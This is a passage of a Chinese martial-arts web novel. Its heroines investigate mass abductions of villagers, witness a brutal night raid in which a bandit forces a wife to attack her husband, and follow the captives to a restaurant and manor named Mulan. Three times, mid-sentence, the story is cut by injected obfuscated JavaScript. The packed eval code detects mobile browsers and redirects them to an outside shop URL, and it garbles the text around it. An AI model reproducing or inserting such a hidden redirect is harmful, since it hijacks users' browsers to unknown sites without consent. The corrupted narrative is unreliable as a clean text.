紫璇便把嘉兴城中自己被阿琼所救,之后帮她混入范宅以及她是如何报仇的全部讲了一遍。还将阿琼给她的那封信也一并交了出来。 乐青澜收下信,表示会转交给师父,继而唏嘘道:“听你这样说,她原本就是存了死志的。可能也是因为这个原因,师父才不准她去报仇。” “也不全是,师父觉得,即使报了仇,她的娘亲也不会复活,过去也不会因此改变。不如忘记烦恼,好好地活着,就当没有这个爹。”韩仲昌说。 他见乐青澜伤感,又加上一句:“但不管怎么说,这都是阿琼的心愿,她心愿达成,我们应该替她开心才是。” 乐青澜默默点头,没有说话。这份伤怀也勾起紫璇的难过,她也同样默然不语。 良久,韩仲昌才开口:“紫璇姑娘,我见你身手不错,所以引你来此,是想请你帮忙。” 乐青澜也回过神来,喜道:“你和我想到一块儿去了!我叫她来也是为了这个!” “帮什么忙?”紫璇看看韩仲昌又看看乐青澜,对他们的期待有些无所适从。 “你问我今天为什么去参加擂台比武,我只说了一半实话,实际上我去那里另有目的。”乐青澜认真说道。 “什么目的?” “找人。” “找人?摆擂的人?” “不是,我要找一个女人,我怀疑她被曹家堡的人掳走了。” 提到曹家堡,紫璇的好奇心大增,聚精会神地听乐青澜讲了起来。 月前,她在西面的穰东镇刘家村遇到了一位女子,当时她正在被丈夫当街追打。乐青澜便好心拦住了她丈夫。那女子全身被打的不成样子,却一句回嘴都不敢,看上去又委屈又可怜。 了解之下,乐青澜才知,该女子嫁到这里的五年间连着生了三个女儿,婆家极为不满,整日数落她生不出儿子,稍有不顺心就会打她骂他。问她为什么不反抗,她说不敢,至于回娘家更没有指望,因为她爹也一样视儿子为命。她一直生女儿,父亲也没少拖人捎话来骂他丢人现眼。 情况如此糟糕,似乎只有脱离此处才能有生路,乐青澜便问她愿不愿意跟自己走,她的女儿也可以一起被带走,这样就不用在那里整日受气、动辄受打骂了。 那女子想都没想就拒绝了,说什么这就是女人的命,她男人除了打人这一点之外其他方面都挺好,干活卖力,家里不至于吃不上饭。还说如果她带着孩子离开,没了男人,周围人会指指点点;而且孩子们没了爹,日后也不好嫁人等等。乐青澜劝了又劝,她就是不肯。 乐青澜无奈,只能口头教训了她的丈夫,威胁他要是再敢动手,他打妻子多少下,她就打他多少下。几日后她不放心,带了些钱去看那女子。可奇怪的是,那女子消失了,而她的丈夫则被人杀死,尸体就躺在院子里!死前好像受到了折磨,鲜血流了一屋子。 不仅如此,村里除了只有老弱的家口,几乎所有人都消失殆尽。她去问了仅剩的几位老人,据他们说,几天前的夜里有一伙匪徒进村,挨家挨户的敲门拿人,他们听到声响,赶紧躲进了自家地窖里,等到第二天饿得受不了了才小心出来,然后就发觉村里绝大部分人都不见了。 事有蹊跷,乐青澜又去附近的几个村打听,果然也有村子发生了和刘家村一样的事情,除了少数几户,其余人家都在一夜之间消失不见了。 “我们怀疑有人掳掠人口。就把方圆百里内的村镇都访了个遍,遇到有相同情况地就向留下来的人打听。其中有一位老婆婆,家里只有一间房,没有可以躲藏的地方,便钻进了柴堆里,偶尔能够听见那伙匪徒说的话。只不过她当时惊吓过度,能记下来的都是只言片语,其中就有曹家堡这三个字。” “你怀疑掠夺人口的事是曹家堡做下的?”紫璇问道。 “我们也只是怀疑,毕竟那位老人听得并不真切,算不得是确实的证据。” “曹家堡我们派人去查过,但那里守卫森严,我们插不进钉子,没办法从那边得出消息。”韩仲昌补充道。 “你们打算做什么?” “顺藤摸瓜,先弄清楚到处抓人的到底是谁?”乐青澜回答。 “你今日去打擂就是为了这个?” “不错。我听说摆擂的人来自曹家堡,为的是延揽人才,便想着如果我能在那里露一手,或许他们会看上我,邀我同去曹家堡。这样我不就能进到堡里一探究竟了吗?” 乐青澜又指着韩仲昌,“不光我,韩仲昌哥也去了,他功夫比我强,也拿了擂主。” “不过,”她又道,“根据我们的观察,他们想要的似乎是功夫好的女子。偶有女子出战的时候,监场总是格外留心,功夫好的男子他们反倒不怎么在意。” “这就很奇怪。曹家堡上下均由男人作主,何以反而要来外地找一些会武的女子呢。”韩仲昌提出疑问。 “那接下来呢?等曹家堡的人上门来找你?要是人家不来你们又打算怎么办?”紫璇又问。 “当然不能等,”乐青澜展颜道,“他们四处抓人,似乎对人丁的需求极大,这掳掠之举就不会戛然而止。已知他们每到一个村子,都能够迅速确定要抓哪些人户,那些留下来的人家从未被‘打扰’过。这就说明他们来抓人前肯定派人去踩过点,了解过各家的情况。我们在这附近的村镇都安排了人,哪里曾有外人跑来问东问西的,就说明那个村马上就要有匪徒来了。” “一旦确定哪个村将遭掳掠,我们就提前蹲守,看一看抓人的是谁。”紫璇顺着她的思路往下说。 “是这个道理!” 紫璇一想确实如此,既然想查的是曹家堡,她倒是愿意助力,当即表示可以帮忙。 饭好了,周婶来传话。三人便一起去院子里用饭,边吃边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035521|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着刚刚所说的继续聊。 ******************** 丑时二刻,梁家湾村。 近来正是农忙时节,村民们早出晚归,到了晚上简单填饱肚子后往往哈欠连天,于是早早就睡了。此刻村中漆黑一片,连鸡犬都没有声音。 远处乡道上,一点星火正在慢慢靠近。只有站在高处的人才能依稀瞧见星火之下是一队人马,少说也有十来人,他们之后还有几辆大车,车上空无一物。 领头的是个女子,胯|下马儿缓缓前行,足以使她看清手中两张草纸上的人户信息。 快到村口时,她叫来另两名女子:“李招娣,马金玲,按老规矩,你们各自带队去拿人。记住,尽量好言相劝,若真得要动手,事先派人唤我。” 两人领命,各带了几个人进村。那名首领则停在村口,望着村中小道上远去的两只火把。 李招娣带人先来到一家门前,她轻轻一招手,手下的女子前去叫门。起初无人回应,那名手下就继续敲,一直到屋内有人出来她才住手站开。 一个三十来岁的男子披着衣服、眯着眼睛把门打开一道缝儿,正要问“是谁”,李招娣上前将门猛地拉开,冲着他的心窝就是一脚。那人仰头就倒,在地上滚来滚去,痛的哇哇叫。屋内一阵响动,紧着着,一个五十来岁的老头也披着衣服跑了出来,遍跑边叫:“三福,你怎么啦!?” 一只脚刚刚踏出门,他就发觉自家院子里站着几个陌生女子,还都恶狠狠地望着自己,地上是疼得站不起来的儿子。门后,还有六双眼睛一样惊恐地望着地上的人和这些陌生来客。 “你……你们是谁?”三福爹大着胆子问道,但仍然保持着一只脚在门里,一只脚在门外的姿势。 “打劫的。”李招娣平静地说。 “打劫……我们都是……乡里人,哪……哪有钱?” “没钱也行,那就送个人出来,去给我们寨主当牛做马。” “送人?那不成!” 李招娣扬起下巴,三福爹不禁打了个哆嗦,连忙加上一句:“村那头是李财主家,他们家地多收成好,你们去那要钱吧,饶了我们。” “那儿我们也会去,不劳你费心。” “啊?” 看这些人毫无离开的迹象,三福爹的心颤巍巍地,不知如何是好。 “我说了,要是没钱,你们出个人也可以。”李招娣又重复了一遍。 三福爹终于舍得把另一只脚跨出来,赶忙跪在自己儿子边上,告饶道:“姑奶奶,求您了,我们家就只有八口人,四个还是孩子,少了哪一个都活不下去,您行行好,饶了我们这一会。今年收成应该还行,等我们攒了钱,再给您送去成不成?” “不成,我今天就要拿人。” 三福爹急得将面前的女子一个个看过去,却没有一个流露出一丝恻隐之心。 “你去和家里商量一下,定好了让谁走。我今晚上还有好多事呢,你最好快一点。”见三福爹仍旧跪着,李招娣亮出刀,抵在他心口上,“快一点,我要是等急了,你们都别想活着看到明个儿的太阳。” 95. 掳掠(二) 三福爹战战兢兢,还是一动不动,嘴里说着各种告饶的话。 李招娣没了耐心,执刀斜出,一下子戳中了三福的肋骨。好不容易止住嚎叫、在地上跪正了的三福再次大喊大叫,身子也蜷缩了起来。 三福的娘还有媳妇儿也大叫着跑出来,慌慌张张地要帮他按住伤口。 “放心吧,我特地选的地方,流不了多少血,死不了。还是那句话,去商量,让谁跟我走。要不然他的下场比这个要难看多了。” 李招娣的刀尖仍在滴血,三福媳妇先哭了出来:“爹,求你救救三福吧。”三福娘也扯着三福爹,哭得说不出一个完整的句子。 三福爹把头埋在两只大手里,痛苦不堪。李招娣再次出刀,三福娘惊叫着扑到儿子身上,三福爹急忙伸出头,号哭道: “我去!我去!放了我儿子!” 李招娣收刀负手,眼中闪过一丝鄙夷。 三福爹也不站起,抱着脑袋呆了一瞬,然后叫道:“大丫,出来。” 三福娘立刻嚎叫了一声,像是要阻拦,但很快收声,伸出去的手也马上放了下来。门内一个十来岁的小姑娘怯生生地走了出来,面上还挂着由于害怕而淌下来的泪滴。 李招娣走过来指着她,向三福爹确认:“怎么是个女娃,你们家的男人呢?其他大人呢?” 三福爹一面哀戚一面解释:“家里需要人干活……” “怎么,就因为她干不了多少活,就要把她推出去挡灾?”李招娣的声调突然冷峻起来。 “我……我……”三福爹哽住了,不知道她突然问这话是什么意思。 不过小姑娘却立即明白了三福爹的打算,便死死抱住他开始大哭起来,嘴里喊着:“爷爷,不要……不要……”她的母亲、三福的媳妇也跟着哭地更加大声。 “这是你儿子的女儿?”李招娣问。 轮到三福娘哭着出声:“是,我儿的大闺女。” “为什么选她?她可有哥哥或是弟弟?” “有个男娃儿,才九岁。”三福娘低声回答。 “九岁也行,叫他出来吧。” “不行!”三福爹立刻往前膝行两步,跪在李招娣面前哀求道:“求求你,这是我儿子唯一的骨血,不能把他送出去啊!” “儿子是骨血,那女儿呢?”李招娣冷笑道,语气中多了一丝恨意。 “这……”三福爹瞠目结舌,更加不知道如何对答。 “你听到了吗?他们只要你弟弟,不要你。”李招娣突然蹲下来,对着还在苦恼的大丫说道。 大丫听后哭得更加厉害,嘴里一直喊着“不要”。 “他们要保全你弟弟、你爹爹还有他们所有人,唯独可以放弃你。”李招娣继续说,“你是这个家里的外人,是赔钱货!” “不是的!”三福媳妇大叫着否认,一把搂过了自己的女儿。 李招娣将目光转向她:“你终于说话了,我还以为你准备一直当哑巴呢。他们要把你十月怀胎的女儿送去受苦,你就干看着?” “我没有……”三福媳妇低声抽泣着。 “同为女人,我给你个机会怎么样?”李招娣仍是对着她,“你来选,是留下儿子比较好呢,还是女儿比较好?” 三福媳妇抱着女儿使劲摇头,除了哭,再没有别的声音。 李招娣白了她一眼:“舍不得儿子?” 三福媳妇还是拼命摇着头。 “那怎么办,我今天必须带走一个人。” 沉默片刻,三福媳妇突然叫出了声:“带我走吧,我跟你们走,放过我的孩子们。” 谁知李招娣听了反而更加生气:“哼!就知道牺牲自己,你男人呢!你男人的爹娘呢!” 三福媳妇愣了,她从来没想过把自己丈夫推出去。 “你嫁到这家十多年,没吃上一顿好的,大女儿生下来之后肚皮一直没动静,他们就嫌弃你不能生,不能给他们传宗接代,从老的到小的给了你多少难受。大难临头,你还要傻乎乎地牺牲自己,你的命就这么不值钱!” 她说出了三福媳妇这些年受的委屈,她抱着女儿嚎哭起来,既是为自己,也是为了自己的孩子。 李招娣见自己的话起了效果,稍稍软了声调:“我再给你一次机会。你去把这个狗男人杀了,我不仅会饶了你的孩子们,还能带你们去过新的生活。我保证,吃穿不愁,再也没有男人敢小看你。” “杀……杀了……”三福媳妇的哭声瞬间止住,茫然地看向自己身边的丈夫,然后剧烈地晃起脑袋,“不不不,我不能。他是我男人……” “你男人?”李招娣笑出声来,“好,我来问问他。”然后转向吓呆了的三福,“用你的命换你女人和一双儿女的命,你干不干?” 三福本能地往后退,双手捂着自己的肋骨,眼睛死死盯着她手里的刀。 “看到了吧?你肯为了他们牺牲,他却一点儿也放不下他自己的性命。这样的男人要来干什么!”李招娣又对三福媳妇儿说。 三福媳妇再次开始抽泣,也不看自己丈夫,只是抱着女儿。 李招娣再度加码:“我家主人专门收容被家人背弃的女子,让他们不用依附男人就能吃饱穿暖。你和你的女儿都可以受我们的庇护。不过有个条件,就是得亲手杀了自己那不成器的丈夫。要是你实在下不去手,戳上一刀也行,不过到了那儿能挣得的待遇就不一样了。你下手越狠,代表你越能斩断和臭男人的联系,越想自立。如果心慈手软,还当自己是男人的物件儿,我们那可不收。” “不收?那……那……”三福媳妇嗫喏着。 “杀了。没有用的人,留着干什么?”李招娣又恢复到冷冰冰的、例行公事的口吻。 三福媳妇啰嗦了一下,越发抱紧了自己的女儿。过了半响,像是下定了决心,她突然将女儿推开,起身抢过李招娣一直伸着给她的刀,冲着三福的肩膀砍了下去。 三福惊叫一声,三福娘冲上来猛地推开儿媳,扶住三福。三福爹也弹起来将儿媳一脚踹开,大喝:“你干什么!” 三福媳妇还紧紧握着那把刀,被公爹一踹之下似乎失去了神志,疯了似的挥刀乱砍,三福爹娘携着三福仓皇躲避,可仍旧被拉开了几个口子。三福的女儿大丫惊叫不断,既担心爹娘,又害怕自己受伤。门里面剩余的人都看得呆住了,一声都不敢吭。 等到她挥得脱了力,便立刻软下来瘫坐在地,眼睛直勾勾的盯着前方,已然失去神采。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047796|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李招娣捡起被她扔在地下的刀,拿出手帕将上面横流的血迹擦干,对她道:“你还是太软弱了,一个人都没杀得了。” 然后对着身后一直沉默看戏的同行之人道:“带走吧,她,还有她的女儿。剩下的人,老弱不要,男的绑了装车。”余者立刻按照她的命令操办起来,三福和他的爹娘早就失去了声音,一点反抗的力气都没了。他的儿子也被人从屋子里拽了出来,看到娘的瞬间就开始哭喊着叫“娘”,三福媳妇稍稍清醒一点,立刻就想扑过去。可来人先一步把小男孩抱走了,她茫然地望着他离开的方向,无声哭着。 “下一家。”李招娣命令道,其余几人立刻整队,跟着她往村子更深处进发。 ***************** 村外,道旁,一株大树上。 “她们抓个人,怎么要这么长时间?”乐青澜向身边一起蹲着的韩仲昌发问。 “有人反抗,他们若不想弄出太大动静,肯定要小心行事。” “这个我也知道,就是这样一直蹲着,我腿有点麻。”乐青澜抱怨道,“要不我过去偷偷瞄一眼,看看他们到底在干嘛?” “还是不要了吧,要是被发现了,再想搞清楚他们的来历去路可就不容易了。” “万一他们杀人……” “你没看到村口守着的人吗?我们到不了村里就会被发现。就算我们大开杀戒,能救下这个村子里所有的人,那之前那些被掳走的呢?你还要不要救?” “你说的也对。可是……”乐青澜踌躇起来。 “可是?” “可是人命不能拿多少来衡量吧?难道一百条命就比一条命更加重要些吗?”她虽然这样说,却还是呆住没动。之后也没有再说话。 又蹲了好久,终于能够听到大车轱辘转动的声音,看来人已经被抓到车上了。 乐青澜警觉地盯着村口的方向,紧接着两个火把一前一后出现,领头的人和村口的首领简单交谈几句,首领便调转马头,原路返回。 乐青澜和韩仲昌耐心等着他们经过,隔了有好些距离才从树上跳下来,暗暗跟上。一路上经过了不少地方,一直到南阳郊外,两辆装满男子的车向北继续驶去,而一辆装着年轻女子的车却向着城门方向而去。 韩仲昌跟着向北那辆,乐青澜则继续沿着大道而行。到城门处,起先那个首领下马,向上朝门楼放了一支响箭,不多会儿,城门开出一个缝儿来,车上的女子被绑成串儿,被人领着,一个跟着一个进了城。 “竟然有办法叫开城门,这伙匪徒本事不小啊。”乐青澜一面想着,一面在远处暗暗观察。等到所有人都消失不见,城门关闭。乐青澜才小心翼翼地借力飞升,三四个起落跳到城墙上。还好守卫的士兵下去开城门去了,她便趁机赶紧从另一面跳了下去。 街道远处,那队人马还在前进,她跳上最近的一处屋顶,在房屋之间纵横跳跃,远远跟着。一直跟到一座足有三层高的楼宇前,那些人才停下。接应的人从楼里出来,被掳的所有女子下车,前后相继,进了这座三层小楼。 天太黑了,乐青澜认不清屋檐下牌匾上的字,只能先将这座小楼的位置牢记在心。然后纵身落地,快速向城东的小院奔去。 96. 木兰(一) 等了整整一晚上,天都亮了也不见韩仲昌回来。乐青澜惦记着那些被掳去的女子,决定不再等他,留了一张字条在家里,然后和紫璇一起往昨天那栋楼宇行去。 “你师兄一直没回来,你不怕他出事吗?”路上,紫璇问她。 “不会的,师父教给他的轻功独步天下,就算他不当心给人发觉了,也足以逃脱。他没回来,极有可能是匪徒的驻地太远。” “我们不等他回来?” “我们先去那地方看看,再做定夺。” 她依照昨日的记忆,找到了那座高三层的楼。这是一家酒楼,名曰“木兰阁”,白天看来更显得富丽堂皇。虽然现在还不到中午,可是进进出出的食客已然不少。 二人携手入内,仿佛两个好奇的女子,入内后不着急落座,而是沿着特意布置的羊肠小径,在楼里转着圈子,四处参观。 一层大厅整整齐齐地排着或大或小的桌子,已经有食客点上酒菜,和同来的朋友相谈甚欢。四周的立柱、栏杆都有精美的雕花,图案都是各式花卉,花朵和叶子都绘上了彩色,栩栩如生。 二楼和三楼是各式包间,也以花卉为题,包间外都有水牌标识出雅名,有叫牡丹的,也有叫芍药的,每个房间的陈设布置与名称相对应。比如“牡丹”中的桌子就被制作成牡丹的形状,墙壁上也有彩绘的各式牡丹花,富贵无极。 除了装饰,这间酒楼还有一个特别之处,那就是包括掌柜在内,所有往来于大厅、包间负责点菜、上菜、引导、服务的人皆为年轻女子。乐青澜与紫璇对视一眼,更加谨慎起来。 一个穿桃红的女子向她俩走过来,招呼道:“两位姑娘是第一次来吧?可有什么需要的?吃点菜,喝点酒?” “是啊,一向听说城里有一间大酒楼,可从没机会亲眼看见。我见你们这里装饰精雅,仔仔细细地瞧了一遍,越看越喜欢!”乐青澜应道,说话的神态还真像是被眼前景象迷住了的样子。 穿桃红的女子笑道:“我家以花为题,算是本地少有的特色,姑娘喜欢,就说明我家这许多功夫没白花。”她言语亲切,和一般酒家的堂倌、小二不同,到像是和她们熟识的知心姐妹。 “我们这除了别致有异趣,酒菜也是一绝。有许多自创的菜肴,还有以各色花卉水果酿制的甜酒,姑娘尝一尝,心情只会更加愉悦。”她又道。 “好啊,我最喜欢喝酒了。怎么点菜?”乐青澜顺着她的话道。 女子手臂招展,引她们到旁边的一张小桌落座,又拿起桌上的一副折子,摊开来:“您先看看这张单子,想吃什么喝什么告诉我就行。” 那张单子上不仅有菜名,每道菜的左右还配以图画。乐青澜奇道:“每张桌子都有这种菜单吗?这些画儿画起来要费不少功夫呢。” 女子仍旧笑得和煦:“这是请人画好了雕在木板上,再一张一张拓印填色的,比起手绘要省事不少。” “还有这等巧思!一张点菜单子都这般用心,我更加好奇你们的菜色和佳酿了。”这句话倒的确是乐青澜的真心话。 她仔细看了一遍菜单,从中选了四样并一壶果酒,穿桃红的女子一一记下,转告另一个跑堂的女子。 “我有些内急,你们这楼里可有方便的地方?”紫璇给乐青澜递了一个眼神,向那女子问道。 “当然有,姑娘请随我来。” 紫璇一边跟着她往后走,一面问道:“姑娘怎么称呼?” “我叫兰心。” “名字也很雅致,是你父母给起的?” “我父母都是乡下庄稼人,可起不了这样好听的名字。这是酒楼的东家给起的,这里的姑娘们每一个都有雅名。” “你是东家雇佣的?在这里几年了?” “是呀,快有三年了。” 她回答的时候,紫璇特地去瞧她的脸色,但她神情一如之前,亲切自然,不像是撒谎。 “看这酒楼装饰华丽,颇受客人青睐,想必收入不菲。开给你们的工钱应也不少吧?”紫璇继续试探。 “东家待我们很好,因这里的进项还不错,我们的工钱也比别处要多一些。” “真的?那倒是真不错。”嘴上说着,紫璇的怀疑反而更甚,别说酒楼商铺绝少雇佣女子,就算是一般的佣工也不可能拿很多的工钱。可她的穿戴比一般家里受宠的女儿还要好,想必待遇不薄的话是真的,然而为什么?难不成这里不单单靠酒菜生意为赚钱? 兰心一直贴身跟着她,她不好乱走乱看,只能逮着机会问她一些酒楼生意或是女使待遇之类的问题,她的回答滴水不漏,并无不妥。 回座后,乐青澜的位置空着,桌面上已经有了两盘时蔬和一小壶酒。紫璇搛起一口菜尝了一下,清爽可口,倒像是江南一带的烹调方法。 乐青澜落座,小心地看了看周围,确信无人盯着,才低声向紫璇道:“我刚刚趁着无人,故意绕到后厨去看,你猜我发现了什么?” 紫璇还在回想刚刚和兰心的对话,便脱口而出:“莫不是什么见不得光的营生?” “不是,”乐青澜神神秘秘地摇了一下脑袋,“你看这里,所有的侍者都是女孩子,一个男人都没有,可后厨上却全是男人。” “这也说的通啊,后厨都是力气活,男的来干也正常。” “你说的对,光是这样肯定没什么。不过,我虽然只匆匆瞧了几眼,但那些男人,不论是做什么的,都被下了药。” “下药?”紫璇皱眉,为什么要给伙计下药,“你确定吗?” “确定,所有人都看着有气无力的,虽然在干活,但没多少精气神,表情大多麻木,再不就很痛苦。” 紫璇暗暗点头,这里果然不正常,然后把自己打听到的也说给她听。 大厅看似清雅惬意,实则密不透风。每当有食客进来或是起身,总会有附近的女使过来陪同。乐青澜刚才能够溜到后厨,也是靠编谎话加脚步够快,这才甩掉尾巴朝禁区看了几眼。 暂时还不清楚这里的水有多深,两人不敢轻举妄动,便还是装作一般食客的样子,品评酒菜。 待吃得差不多了,两人正准备起身,兰心立刻上来,殷切问道:“两位姑娘对我家的酒菜可还满意?” “菜色果然有新意。更难得的是蔬菜新鲜,清爽入味。你们家的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13057820|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨莫不是从江南请来的?”紫璇道。 “姑娘好见识!我们东家出自钱塘,这些菜的做法有大半是她研究的,故而还保有江南的特色。” “这果竟有柑橘香味,闻起来香,喝起来更有滋味,比起一般的米酒更胜一筹。”乐青澜则说。 “果酒最受姑娘们的喜爱,为了就是这唇齿留香。” 乐青澜从钱袋中摸出银子准备付账,兰心却退却了:“两位肯来赏光便是我们的荣幸。如果今日这餐姑娘们还满意的话,以后常来就是。” “那怎么行,就算你们家大业大,不在于这些许银子。我们俩却不敢白吃白喝。” “姑娘太客气了,既然如此,那小女便斗胆提个请求。”兰心嫣然一笑,“我们掌柜的想请二位借一步说话。” 乐青澜和紫璇对视一眼,小心问道:“掌柜的?她有什么事吗?” “我也不清楚,她专门差我来请,还望两位姑娘赏光。” 乐青澜咬了咬下唇:“既然掌柜的相邀,我们当然是恭敬不如从命了。” 由兰心引路,两人顺着扶梯一直上到三楼,继续沿着楼梯往里,便有另一名女子迎了出来,她年纪比兰心要大一些,穿着打扮也更为精致。 “两位姑娘肯赏光,是我们木兰阁的荣幸。”她说着客气话儿,把乐青澜和紫璇往包间里面让。 两人自然地道谢、落座。 “不知掌柜您叫我们前来,有什么吩咐?”乐青澜先道。 “不敢不敢,小女名叫碧荷,不过是个受东家委托、帮他看店的一般人,哪儿敢吩咐两位姑娘。”她端起面前的茶壶,倒了两杯茶,“请二位来,是为了前一日,这位姑娘……”一杯放在了乐青澜面前,“赢下了我家主人在城中设下的擂台。”另一杯放在紫璇面前,“这一位接打暗器的手法亦非寻常人能及。我家主人爱才,昨日边说要设法延请二位去他那里做客,不想我们有缘,两位姑娘竟然先到我家店里来了。” 果然来了!乐青澜又和紫璇对视一眼,紫璇微微颔首。乐青澜回道:“原来城中的擂台是你家主人的手笔!” “是啊,我家主人有意延揽人才,擂台已经摆了有一阵子了,也遇到了一些会武的可用之人,可像二位这样又年轻又武艺精熟的女子实在不多见,主人听说后,十分向往,要我务必将二位请去,和他见一面。” 紫璇端起茶杯,假装呷了一口,余光则瞟向身边的乐青澜,向她递眼色。 乐青澜也和她一般心思,不敢碰那茶,而是试探道:“看来你家主人的产业不止这家酒楼,否则要那么多会武之人做什么?” 碧荷没有否认,笑着说:“生意生意,自然是生生不息才有意思。一家酒楼的出息有限,肯定还要找些别的营生。” 紫璇顺着她的话点了一下头:“你家主人经商的头脑不错,若是只买卖酒菜,确实不可能造起这般富丽堂皇的酒楼,也付不起比别处高出不少的工钱。” 这一下试探的意味更加明显,但碧荷只是点头,仿佛她说的就只是字面上的那个意思:“我家主人志向远大,两位姑娘若是有兴趣,不如随我去见一见她,如何?” 97. 木兰(二) “我家主人志向远大,两位姑娘若是有兴趣,不如随我去见一见她,如何?” 这一次乐青澜没有征求紫璇的意见,而是直接应允:“我还真有些好奇你家主人到底是什么样的人。见就见,他还能吃了我们不成!” 碧荷连忙笑吟吟地摆手:“怎么会呢!我家主人最是爱才,就算你们不愿为他效力,他也会封足了银两,好好遣人送姑娘们回家的。” “那就走吧。”乐青澜站起来,一样笑着说道。 碧荷却没有跟着站起,而是依旧笑着:“不过我家主人有个规矩,还是要提前告知二位,免得一会儿生出龃龉。” “什么规矩?” “主人家业大,觊觎的人也不少,是以他的居所一向小心戒备,寻常人不得接近。所有前去面会的人都需蒙上眼睛,听我们的安排。” 乐青澜只沉吟了一瞬:“行,江湖是非多,小心些也正常!”然后将仍然坐着的紫璇拉起来,顺势捏捏她的手心,让她不用担心,自己有办法。 碧荷便亲自带她们下楼,从大厅一侧的小门出去,门外已有一辆马车在等候。两人上车坐定后,兰心递过来两幅黑色的眼罩让她们带上,然后自己也坐了上来。 乐青澜半躺在车内,毫无形象可言,紫璇则靠着车壁安静坐着,仔细听着周围的声音。车子发动,轱辘声响起,渐渐地远离街市,向着城外而去。 马车走了很久,久到乐青澜睡意上涌,直接卧在车中睡着了。出城之后,人声渐息,兰心也仿佛入定了一般一句话都不说,除了轱辘摩擦地面的声音之外再也听不到什么,紫璇便放松下来:事已至此,只能走一步看一步。 马车停下时前后猛地趔趄了一下,晃醒了沉睡的乐青澜。紫璇猜想一定是到了目的地,便一把扯下眼罩,果见车门打开,一个和刚才酒楼中掌柜的差不多打扮的女子等在车外。 兰心道:“到了,两位姑娘赶紧下车吧。” 等候的女子向她们抱拳:“小女墨菊,是这里的管家,我家主人听闻两位姑娘造访,特地叫我出来迎接。” 趁乐青澜回礼寒暄,紫璇快速瞄了一眼周围,当前所在是一处大宅院,大门双开,上有门钉,很是宏伟。门外值守的人背着刀,目不斜视、站得笔直,一看就是训练有素的护院。檐下有一方匾额,写着“木兰山庄”。 “又是木兰,看来这里的主人很喜欢木兰花,是以居处酒楼都以木兰为名。”紫璇心道。 “我家主人规矩,进入山庄的外人一律不可以携带兵刃,两位姑娘……”墨菊从身后女使手中接过一个托盘来,端在自己胸前。 紫璇解下自己的佩剑,放在了托盘上。乐青澜也交出了自己的短刀。 墨菊引路,进门、绕过影壁、经过前院,再穿天井和回廊,终于看到了一处大屋。屋壁上嵌着大窗,此刻四面窗户尽皆洞开,即使相隔还有一段距离,也能看见居中主座上坐着的是个女人。 “女人!”乐青澜和紫璇对望一眼,这些女子所谓的主人、东家竟然也是女子。她们还以为这位主人只是别出心裁,才在酒楼中设置女使以招揽生意,或着以此为掩护经营暗娼,下意识觉得肯定是个男的。 墨菊看出她二人的惊讶,笑道:“我家主人是个奇女子,最看不起‘男女有别’,但凡男人能做的事她都能做得更好。” 她对自己主人的骄傲和敬服溢于言表,全然不是出于伪饰,更让乐青澜和紫璇感到惊奇,均想:适才关于“主人”的猜想未免过于狭隘。 进到屋中,庄主起身迎接,乐青澜和紫璇双双谢过,与她隔着一张巨大的圆桌落座。 走进了,紫璇才看清楚对面的庄主大约在四十到五十岁之间,之所以拿不太准她的年纪,是因为她的气质中既有上位者的威严沉静,也有年轻人的意态飞扬。 “墨菊,你也坐。”庄主吩咐。 墨菊也不推拒,行过礼也在桌上找个位子坐下。 庄主先问了她们的姓名,两人都如实告知。她笑道:"如今江湖中也有像两位这样技艺高超、英姿飒爽的女孩子了,真是一件值得庆贺的大幸事。"然后重重拍了两下掌,紧接着便有一队女使从她身后的屏风后鱼贯而出,每个人手中都端着一个檀木托盘,托盘中则是各式杯盏。 “既然是幸事,就不能不共同举杯以作庆贺。”庄主指着在桌边围成一圈的女使,“我素爱花卉,这里处处都有花卉图案装点,连吃饭饮酒的器皿也是如此。” 紫璇顺着她的话看去,那些杯盏果然是模拟不同花卉烧制而成的瓷器,器型独特之外兼有釉色青翠油润,实是难得一见的上品。紫璇也只在小时候偶尔几次陪徐淑平外出拜访名门时见过一二,而这里居然有一整套,足足十六只。 庄主似乎很满意她俩对着那套杯盏一只一只看去越来越惊羡的目光,继续道:“我听说你们在酒楼已经喝了酒,我一向不推崇过饮,所以就着人取出这套茶盏,咱们以茶代酒,共贺江湖蒸蒸日上,也顺便敬一敬今日你我相会。” 墨菊也应和道:“不知两位姑娘素日喜欢哪一种花,可以从这些杯子中选择一样。” 紫璇选了离自己最近的荷花盏,乐青澜却道:“我不喜欢花儿朵儿的,太娇弱了,比不上树木硬朗高大。” 庄主闻言面上微微面色,墨菊马上道:“姑娘的喜好别具一格,更显得与众不同。我家主人好草木,姑娘此言倒是提醒了她,将来也可以各色树木为题,再置办一些新鲜玩意儿。” 